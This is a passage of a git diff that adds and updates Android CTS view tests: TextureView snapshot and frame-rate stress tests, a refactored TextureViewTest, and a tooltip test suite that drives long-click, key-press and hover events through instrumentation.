+package android.view.cts;
+
+import android.test.ActivityInstrumentationTestCase2;
+
+public class TextureViewSnapshotTest extends
+        ActivityInstrumentationTestCase2<TextureViewSnapshotTestActivity> {
+
+    public TextureViewSnapshotTest() {
+        super(TextureViewSnapshotTestActivity.class);
+    }
+
+    public void testTextureViewGrabSnapshot() {
+        TextureViewSnapshotTestActivity.mMaxWaitDelayMs = 1500;
+        if (!getActivity().waitForCompletion()) {
+            fail("Did not complete complete test.");
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewSnapshotTestActivity.java b/tests/tests/view/src/android/view/cts/TextureViewSnapshotTestActivity.java
new file mode 100644
index 0000000..6adb177
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewSnapshotTestActivity.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
+import static android.opengl.GLES20.glClear;
+import static android.opengl.GLES20.glClearColor;
+
+import android.app.Activity;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.SurfaceTexture;
+import android.os.Bundle;
+import android.view.TextureView;
+
+import junit.framework.Assert;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class TextureViewSnapshotTestActivity extends Activity
+        implements TextureView.SurfaceTextureListener {
+    public static int mMaxWaitDelayMs = -1;
+
+    private TextureView mTexView;
+    private Thread mProducerThread;
+    private final Semaphore mSemaphore = new Semaphore(0);
+    private final AtomicBoolean mShouldRender = new AtomicBoolean(true);
+    private boolean mPostedSnapshotGrab = false;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Assert.assertTrue(mMaxWaitDelayMs > 0);
+        mTexView = new TextureView(this);
+        mTexView.setSurfaceTextureListener(this);
+        setContentView(mTexView);
+    }
+
+    public Boolean waitForCompletion() {
+        Boolean success = false;
+        try {
+            success = mSemaphore.tryAcquire(mMaxWaitDelayMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Assert.fail();
+        }
+        return success;
+    }
+
+    @Override
+    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
+        mProducerThread = new GLProducerThread(surface, new GLRendererImpl(),
+                mShouldRender, 1000 / 48, mSemaphore);
+        mProducerThread.start();
+    }
+
+    @Override
+    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
+    }
+
+    @Override
+    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+        mProducerThread = null;
+        return true;
+    }
+
+    @Override
+    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+        if (!mPostedSnapshotGrab) {
+            Bitmap bitmap = mTexView.getBitmap();
+            Assert.assertNotNull(bitmap);
+            Assert.assertEquals(mTexView.getWidth(), bitmap.getWidth());
+            Assert.assertEquals(mTexView.getHeight(), bitmap.getHeight());
+            Assert.assertEquals(Color.RED, bitmap.getPixel(0, 0));
+            mShouldRender.set(false);
+            mPostedSnapshotGrab = true;
+        }
+    }
+
+    private static class GLRendererImpl implements GLProducerThread.GLRenderer {
+        @Override
+        public void drawFrame(int frame) {
+            glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
+            glClear(GL_COLOR_BUFFER_BIT);
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewStressTest.java b/tests/tests/view/src/android/view/cts/TextureViewStressTest.java
new file mode 100644
index 0000000..3aba830
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewStressTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.test.ActivityInstrumentationTestCase2;
+
+public class TextureViewStressTest extends
+        ActivityInstrumentationTestCase2<TextureViewStressTestActivity> {
+
+    public TextureViewStressTest() {
+        super(TextureViewStressTestActivity.class);
+    }
+
+    public void testTextureViewStress48Hz() {
+        TextureViewStressTestActivity.mFrames = 600;
+        TextureViewStressTestActivity.mDelayMs = 1000 / 48;
+        if (!getActivity().waitForCompletion()) {
+            fail("Did not complete 48Hz test.");
+        }
+    }
+
+    public void testTextureViewStress60Hz() {
+        TextureViewStressTestActivity.mFrames = 600;
+        TextureViewStressTestActivity.mDelayMs = 1000 / 60;
+        if (!getActivity().waitForCompletion()) {
+            fail("Did not complete 60Hz test.");
+        }
+    }
+
+    public void testTextureViewStress70Hz()  {
+        TextureViewStressTestActivity.mFrames = 600;
+        TextureViewStressTestActivity.mDelayMs = 1000 / 70;
+        if (!getActivity().waitForCompletion()) {
+            fail("Did not complete 70Hz test.");
+        }
+    }
+
+    public void testTextureViewStress200Hz() {
+        TextureViewStressTestActivity.mFrames = 600;
+        TextureViewStressTestActivity.mDelayMs = 1000 / 200;
+        if (!getActivity().waitForCompletion()) {
+            fail("Did not complete 200Hz test.");
+        }
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewStressTestActivity.java b/tests/tests/view/src/android/view/cts/TextureViewStressTestActivity.java
new file mode 100644
index 0000000..e989124
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewStressTestActivity.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
+import static android.opengl.GLES20.glClear;
+import static android.opengl.GLES20.glClearColor;
+
+import android.animation.AnimatorSet;
+import android.animation.ObjectAnimator;
+import android.app.Activity;
+import android.graphics.SurfaceTexture;
+import android.os.Bundle;
+import android.view.Display;
+import android.view.TextureView;
+import android.view.WindowManager;
+
+import junit.framework.Assert;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+public class TextureViewStressTestActivity extends Activity
+        implements TextureView.SurfaceTextureListener {
+    public static int mFrames = -1;
+    public static int mDelayMs = -1;
+
+    private Thread mProducerThread;
+    private final Semaphore mSemaphore = new Semaphore(0);
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Assert.assertTrue(mFrames > 0);
+        Assert.assertTrue(mDelayMs > 0);
+        TextureView texView = new TextureView(this);
+        texView.setSurfaceTextureListener(this);
+        setContentView(texView);
+        ObjectAnimator rotate = ObjectAnimator.ofFloat(texView, "rotationY", 180);
+        ObjectAnimator fadeIn = ObjectAnimator.ofFloat(texView, "alpha", 0.3f, 1f);
+        ObjectAnimator scaleY = ObjectAnimator.ofFloat(texView, "scaleY", 0.3f, 1f);
+        AnimatorSet animSet = new AnimatorSet();
+        animSet.play(rotate).with(fadeIn).with(scaleY);
+        animSet.setDuration(mFrames * mDelayMs);
+        animSet.start();
+    }
+
+    private static int addMargin(int a) {
+        /* Worst case is 2 * actual refresh rate, in case when the delay pushes the frame off
+         * VSYNC every frame.
+         */
+        return 2 * a;
+    }
+
+    private static int roundUpFrame(int a, int b) {
+        /* Need to give time based on (frame duration limited by refresh rate + delay given
+         * from the test)
+         */
+        return (a + b + 1);
+    }
+
+
+    public Boolean waitForCompletion() {
+        Boolean success = false;
+        int oneframeMs;
+
+        WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
+        Display display = wm.getDefaultDisplay();
+        float rate = display.getRefreshRate();
+        oneframeMs = roundUpFrame(mDelayMs, (int) (1000.0f / rate));
+        try {
+            success = mSemaphore.tryAcquire(addMargin(oneframeMs * mFrames),
+                    TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Assert.fail();
+        }
+        return success;
+    }
+
+    @Override
+    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
+        mProducerThread = new GLProducerThread(surface, new GLRendererImpl(),
+                mFrames, mDelayMs, mSemaphore);
+        mProducerThread.start();
+    }
+
+    @Override
+    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
+    }
+
+    @Override
+    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+        mProducerThread = null;
+        return true;
+    }
+
+    @Override
+    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+    }
+
+    public static class GLRendererImpl implements GLProducerThread.GLRenderer {
+        private static final int NUM_COLORS = 4;
+        private static final float[][] COLOR = {
+                { 1.0f, 0.0f, 0.0f },
+                { 0.0f, 1.0f, 0.0f },
+                { 0.0f, 0.0f, 1.0f },
+                { 1.0f, 1.0f, 1.0f }
+        };
+
+        @Override
+        public void drawFrame(int frame) {
+            int index = frame % NUM_COLORS;
+            glClearColor(COLOR[index][0], COLOR[index][1], COLOR[index][2], 1.0f);
+            glClear(GL_COLOR_BUFFER_BIT);
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 12c689f..c771c18 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -16,6 +16,10 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Instrumentation;
 import android.graphics.Bitmap;
 import android.graphics.Color;
@@ -23,39 +27,42 @@
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
-import android.view.cts.util.ViewTestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
-import static org.junit.Assert.*;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.TimeoutException;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TextureViewTest {
+    private Instrumentation mInstrumentation;
+    private TextureViewCtsActivity mActivity;
 
     @Rule
-    public ActivityTestRule<TextureViewCtsActivity> mActivityRule = new ActivityTestRule<>(
-            TextureViewCtsActivity.class);
-
-    private TextureViewCtsActivity mActivity;
-    private Instrumentation mInstrumentation;
+    public ActivityTestRule<TextureViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TextureViewCtsActivity.class);
 
     @Before
-    public void setUp() throws Exception {
-        mActivity = mActivityRule.getActivity();
+    public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         assertNotNull(mActivity);
         assertNotNull(mInstrumentation);
     }
 
     @Test
     public void testFirstFrames() throws Throwable {
+        mActivity.waitForEnterAnimationComplete();
+
         final Point center = new Point();
-        mInstrumentation.waitForIdleSync();
-        mInstrumentation.runOnMainSync(() -> {
+        mActivityRule.runOnUiThread(() -> {
             View content = mActivity.findViewById(android.R.id.content);
             int[] outLocation = new int[2];
             content.getLocationOnScreen(outLocation);
@@ -74,11 +81,10 @@
         updatedCount = mActivity.waitForSurfaceUpdateCount(1);
         assertEquals(1, updatedCount);
         assertEquals(Color.WHITE, getPixel(center));
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mActivity,
-                () -> mActivity.removeCover());
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
+                mActivity.findViewById(android.R.id.content), () -> mActivity.removeCover());
 
-        int color;
-        color = waitForChange(center, Color.WHITE);
+        int color = waitForChange(center, Color.WHITE);
         assertEquals(Color.GREEN, color);
         mActivity.drawColor(Color.BLUE);
         updatedCount = mActivity.waitForSurfaceUpdateCount(2);
@@ -117,4 +123,4 @@
         }
         throw new TimeoutException();
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/view/src/android/view/cts/TooltipActivity.java b/tests/tests/view/src/android/view/cts/TooltipActivity.java
new file mode 100644
index 0000000..6cb9967
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TooltipActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.ContextMenu;
+import android.view.View;
+
+public class TooltipActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.tooltip_layout);
+    }
+
+    public void onCreateContextMenu(
+            ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) {
+        menu.add("context menu");
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
new file mode 100644
index 0000000..2ffe06b
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -0,0 +1,785 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.ViewGroup;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link View}.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class TooltipTest {
+    private static final String LOG_TAG = "TooltipTest";
+
+    private static final long TIMEOUT_DELTA = 10000;
+    private static final long WAIT_MARGIN = 100;
+
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private ViewGroup mTopmostView;
+    private ViewGroup mGroupView;
+    private View mNoTooltipView;
+    private View mTooltipView;
+    private View mNoTooltipView2;
+    private View mEmptyGroup;
+
+    @Rule
+    public ActivityTestRule<TooltipActivity> mActivityRule =
+            new ActivityTestRule<>(TooltipActivity.class);
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mCtsActivityRule =
+            new ActivityTestRule<>(CtsActivity.class, false, false);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mTopmostView = (ViewGroup) mActivity.findViewById(R.id.tooltip_layout);
+        mGroupView = (ViewGroup) mActivity.findViewById(R.id.tooltip_group);
+        mNoTooltipView = mActivity.findViewById(R.id.no_tooltip);
+        mTooltipView = mActivity.findViewById(R.id.has_tooltip);
+        mNoTooltipView2 = mActivity.findViewById(R.id.no_tooltip2);
+        mEmptyGroup = mActivity.findViewById(R.id.empty_group);
+
+        PollingCheck.waitFor(TIMEOUT_DELTA, mActivity::hasWindowFocus);
+    }
+
+    private void waitOut(long msDelay) {
+        try {
+            Thread.sleep(msDelay + WAIT_MARGIN);
+        } catch (InterruptedException e) {
+            Log.e(LOG_TAG, "Wait interrupted. Test may fail!", e);
+        }
+    }
+
+    private void setTooltipText(View view, CharSequence tooltipText) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.setTooltipText(tooltipText));
+    }
+
+    private boolean hasTooltip(View view) {
+        final View tooltipView = view.getTooltipView();
+        return tooltipView != null && tooltipView.getParent() != null;
+    }
+
+
+    private void addView(ViewGroup parent, View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> parent.addView(view));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void removeView(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> ((ViewGroup) (view.getParent())).removeView(view));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void setVisibility(View view, int visibility) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.setVisibility(visibility));
+    }
+
+    private void setClickable(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.setClickable(true));
+    }
+
+    private void setLongClickable(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.setLongClickable(true));
+    }
+
+    private void setContextClickable(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.setContextClickable(true));
+    }
+
+    private void callPerformLongClick(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> view.performLongClick(0, 0));
+    }
+
+    private void requestLowProfileSystemUi() throws Throwable {
+        final int flag = View.SYSTEM_UI_FLAG_LOW_PROFILE;
+        mActivityRule.runOnUiThread(() -> mTooltipView.setSystemUiVisibility(flag));
+        PollingCheck.waitFor(TIMEOUT_DELTA,
+                () -> (mTooltipView.getWindowSystemUiVisibility() & flag) == flag);
+    }
+
+    private void injectKeyPress(View target, int keyCode, int duration) throws Throwable {
+        if (target != null) {
+            mActivityRule.runOnUiThread(() -> {
+                target.setFocusableInTouchMode(true);
+                target.requestFocus();
+            });
+            mInstrumentation.waitForIdleSync();
+            assertTrue(target.isFocused());
+        }
+        mInstrumentation.sendKeySync(new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
+        waitOut(duration);
+        mInstrumentation.sendKeySync(new KeyEvent(KeyEvent.ACTION_UP, keyCode));
+    }
+
+    private void injectArbitraryShortKeyPress() throws Throwable {
+        injectKeyPress(null, KeyEvent.KEYCODE_0, 0);
+    }
+
+    private void injectLongKeyPress(View target, int keyCode) throws Throwable {
+        injectKeyPress(target, keyCode, ViewConfiguration.getLongPressTimeout());
+    }
+
+    private void injectLongEnter(View target) throws Throwable {
+        injectLongKeyPress(target, KeyEvent.KEYCODE_ENTER);
+    }
+
+    private void injectShortClick(View target) {
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, target);
+    }
+
+    private void injectLongClick(View target) {
+        CtsTouchUtils.emulateLongPressOnView(mInstrumentation, target,
+                target.getWidth() / 2, target.getHeight() / 2);
+    }
+
+    private void injectMotionEvent(MotionEvent event) {
+        mInstrumentation.sendPointerSync(event);
+    }
+
+    private void injectHoverMove(View target, int offsetX, int offsetY) {
+        injectMotionEvent(obtainMouseEvent(
+                target, MotionEvent.ACTION_HOVER_MOVE, offsetX,  offsetY));
+    }
+
+    private void injectHoverMove(View target) {
+        injectHoverMove(target, 0, 0);
+    }
+
+    private void injectLongHoverMove(View target) {
+        injectHoverMove(target);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+    }
+
+    private static MotionEvent obtainMouseEvent(View target, int action, int offsetX, int offsetY) {
+        final long eventTime = SystemClock.uptimeMillis();
+        final int[] xy = new int[2];
+        target.getLocationOnScreen(xy);
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action,
+                xy[0] + target.getWidth() / 2 + offsetX, xy[1] + target.getHeight() / 2 + offsetY,
+                0);
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        return event;
+    }
+
+    @Test
+    public void testGetSetTooltip() throws Throwable {
+        // No tooltip set in resource
+        assertEquals(null, mNoTooltipView.getTooltipText());
+
+        // Set the tooltip, read it back
+        final String tooltipText1 = "new tooltip";
+        setTooltipText(mNoTooltipView, tooltipText1);
+        assertEquals(tooltipText1, mNoTooltipView.getTooltipText());
+
+        // Clear the tooltip.
+        setTooltipText(mNoTooltipView, null);
+        assertEquals(null, mNoTooltipView.getTooltipText());
+
+        // Check the tooltip set in resource
+        assertEquals("tooltip text", mTooltipView.getTooltipText());
+
+        // Clear the tooltip set in resource
+        setTooltipText(mTooltipView, null);
+        assertEquals(null, mTooltipView.getTooltipText());
+
+        // Set the tooltip again, read it back
+        final String tooltipText2 = "new tooltip 2";
+        setTooltipText(mTooltipView, tooltipText2);
+        assertEquals(tooltipText2, mTooltipView.getTooltipText());
+    }
+
+    @Test
+    public void testNoTooltipWhenNotSet() throws Throwable {
+        callPerformLongClick(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+
+        injectLongClick(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+
+        injectLongEnter(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+
+        injectLongHoverMove(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+    }
+
+    @Test
+    public void testNoTooltipOnDisabledView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTooltipView.setEnabled(false));
+
+        injectLongClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectLongEnter(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectLongHoverMove(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testUpdateOpenTooltip() throws Throwable {
+        callPerformLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        setTooltipText(mTooltipView, "updated tooltip");
+        assertTrue(hasTooltip(mTooltipView));
+
+        setTooltipText(mTooltipView, null);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testTooltipHidesOnActivityFocusChange() throws Throwable {
+        callPerformLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        CtsActivity activity = mCtsActivityRule.launchActivity(null);
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mActivity.hasWindowFocus());
+        assertFalse(hasTooltip(mTooltipView));
+        activity.finish();
+    }
+
+    @Test
+    public void testTooltipHidesOnWindowFocusChange() throws Throwable {
+        callPerformLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Show a context menu on another widget.
+        mActivity.registerForContextMenu(mNoTooltipView);
+        mActivityRule.runOnUiThread(() -> mNoTooltipView.showContextMenu(0, 0));
+
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mTooltipView.hasWindowFocus());
+        mInstrumentation.waitForIdleSync();
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    // Tests for tooltips triggered by long click.
+
+    @Test
+    public void testShortClickDoesNotShowTooltip() throws Throwable {
+        injectShortClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testPerformLongClickShowsTooltipImmediately() throws Throwable {
+        callPerformLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipBlockedByLongClickListener() throws Throwable {
+        mTooltipView.setOnLongClickListener(v -> true);
+        injectLongClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipBlockedByContextMenu() throws Throwable {
+        mActivity.registerForContextMenu(mTooltipView);
+        injectLongClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipOnNonClickableView() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipOnClickableView() throws Throwable {
+        setClickable(mTooltipView);
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipOnLongClickableView() throws Throwable {
+        setLongClickable(mTooltipView);
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipOnContextClickableView() throws Throwable {
+        setContextClickable(mTooltipView);
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipStaysOnMouseMove() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Tooltip stays while the mouse moves over the widget.
+        injectHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Long-click-triggered tooltip stays while the mouse to another widget.
+        injectHoverMove(mNoTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipHidesAfterUp() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Long-click-triggered tooltip hides after ACTION_UP (with a delay).
+        waitOut(ViewConfiguration.getLongPressTooltipHideTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipHidesOnClick() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipHidesOnClickElsewhere() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongClickTooltipHidesOnKey() throws Throwable {
+        injectLongClick(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectArbitraryShortKeyPress();
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    // Tests for tooltips triggered by long key press.
+
+    @Test
+    public void testShortKeyPressDoesNotShowTooltip() throws Throwable {
+        injectKeyPress(null, KeyEvent.KEYCODE_ENTER, 0);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectKeyPress(mTooltipView, KeyEvent.KEYCODE_ENTER, 0);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongArbitraryKeyPressDoesNotShowTooltip() throws Throwable {
+        injectLongKeyPress(mTooltipView, KeyEvent.KEYCODE_0);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressWithoutFocusDoesNotShowTooltip() throws Throwable {
+        injectLongEnter(null);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressOnAnotherViewDoesNotShowTooltip() throws Throwable {
+        injectLongEnter(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipOnNonClickableView() throws Throwable {
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipOnClickableView() throws Throwable {
+        setClickable(mTooltipView);
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipOnLongClickableView() throws Throwable {
+        setLongClickable(mTooltipView);
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipOnContextClickableView() throws Throwable {
+        setContextClickable(mTooltipView);
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipStaysOnMouseMove() throws Throwable {
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Tooltip stays while the mouse moves over the widget.
+        injectHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Long-keypress-triggered tooltip stays while the mouse to another widget.
+        injectHoverMove(mNoTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipHidesAfterUp() throws Throwable {
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Long-keypress-triggered tooltip hides after ACTION_UP (with a delay).
+        waitOut(ViewConfiguration.getLongPressTooltipHideTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipHidesOnClick() throws Throwable {
+        injectLongEnter(mTooltipView);
